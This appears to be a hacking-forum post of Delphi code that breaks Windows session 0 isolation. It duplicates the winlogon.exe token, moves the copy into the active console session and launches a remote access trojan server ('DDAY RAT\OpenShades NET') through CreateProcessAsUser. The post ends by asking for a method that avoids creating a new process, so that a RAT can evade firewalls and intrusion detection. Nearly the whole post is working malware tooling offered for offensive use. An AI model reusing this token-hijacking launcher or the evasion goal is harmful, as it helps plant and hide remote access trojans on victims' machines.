Code:
//breaking session 0 isolation
function WTSGetActiveConsoleSessionId:DWORD;stdcall; external 'Kernel32.dll';
function WTSQueryUserToken(SessionID:DWORD;phToken:PDWORD):BOOL; stdcall; external 'wtsapi32.dll' name 'WTSQueryUserToken';
function CreateEnvironmentBlock(var lpEnvironment: Pointer; hToken: THANDLE; bInherit: Boolean): Boolean; stdcall; external 'userenv.dll';
function ProcessIdToSessionId(dwProcessId: DWORD; pSessionId: DWORD): Boolean; stdcall; external 'Kernel32.dll';
function WinlogonSessionFinder( dwSessionId:DWORD ):DWORD;
var
winlogonPid,winlogonSessId: DWORD;
hProcess,hSnap: THANDLE;
procEntry: TProcessEntry32;
begin
Result := 0;
hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap <> INVALID_HANDLE_VALUE) then begin
procEntry.dwSize := sizeof(PROCESSENTRY32);
winlogonPid := 0;
if Process32First(hSnap, procEntry) then begin
while Process32Next(hSnap, procEntry) do
begin
if pos('winlogon.exe', procEntry.szExeFile) > 0 then
begin
winlogonSessId := 0;
ProcessIdToSessionId(procEntry.th32ProcessID, DWORD(@winlogonSessId));
if ProcessIdToSessionId(procEntry.th32ProcessID, DWORD(@winlogonSessId)) then //
begin
if winlogonSessId = dwSessionId then
begin
winlogonPid := procEntry.th32ProcessID;
break;
end;
end;
end;
end;
Result := winlogonPid;
end;
end;
end;
procedure BreakSession0;
var
pi: PROCESS_INFORMATION;
si: STARTUPINFO;
dwSessionId,winlogonPid,dwCreationFlags,winlogonSessId,fool: DWORD;
hUserToken,hUserTokenDup,hPToken,hProcess,hSnap: THANDLE;
tp:TOKEN_PRIVILEGES;
uid : LUID;
pEnv: Pointer;
//wth:PHANDLE;
begin
RevertToSelf;
dwSessionId := WtsGetActiveConsoleSessionID;
winlogonPid := WinlogonSessionFinder(dwSessionId);
if winlogonPid <> 0 then begin
WTSQueryUserToken(dwSessionId,@hUserToken);
// dwCreationFlags := NORMAL_PRIORITY_CLASS or CREATE_NEW_CONSOLE;
// ZeroMemory(@si, sizeof(STARTUPINFO));
// si.cb := sizeof(STARTUPINFO);
// si.lpDesktop := 'winsta0\default';
// ZeroMemory(@pi, sizeof(pi));
hProcess := OpenProcess(MAXIMUM_ALLOWED,FALSE,winlogonPid);
if OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY
or TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or $100
or TOKEN_READ or TOKEN_WRITE,hPToken) then
begin
tp.PrivilegeCount := 1;
tp.Privileges[0].Luid := INT64(uid);
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
DuplicateTokenEx(hPToken,MAXIMUM_ALLOWED,nil,SecurityIdentification,TokenPrimary,hUserTokenDup);
//Adjust Token privilege
SetTokenInformation(hUserTokenDup,TokenSessionId,Pointer(dwSessionId),sizeof(DWORD));
AdjustTokenPrivileges(hUserTokenDup, FALSE, tp, sizeof(TOKEN_PRIVILEGES), nil, fool);
pEnv := nil;
if CreateEnvironmentBlock(pEnv,hUserTokenDup,TRUE) then
dwCreationFlags := dwCreationFlags or CREATE_UNICODE_ENVIRONMENT;
//// Launch the process in the client's logon session.
CreateProcessAsUser(
hUserTokenDup, // client's access token
'C:\Users\<censored>\Desktop\DDAY RAT\OpenShades NET\Server\testServer.exe', // file to execute
nil, // command line
nil, // pointer to process SECURITY_ATTRIBUTES
nil, // pointer to thread SECURITY_ATTRIBUTES
FALSE, // handles are not inheritable
dwCreationFlags, // creation flags
pEnv, // pointer to new environment block
nil, // name of current directory
si, // pointer to STARTUPINFO structure
pi // receives information about new process
);
end;
end;
end;
If any1 has a better method to bypass session 0 isolation without needing to create a new process, I'd sure like to see it. RAID would benefit from that as well since u can bypass without having to inject and triggering the firewalls and IDS n shit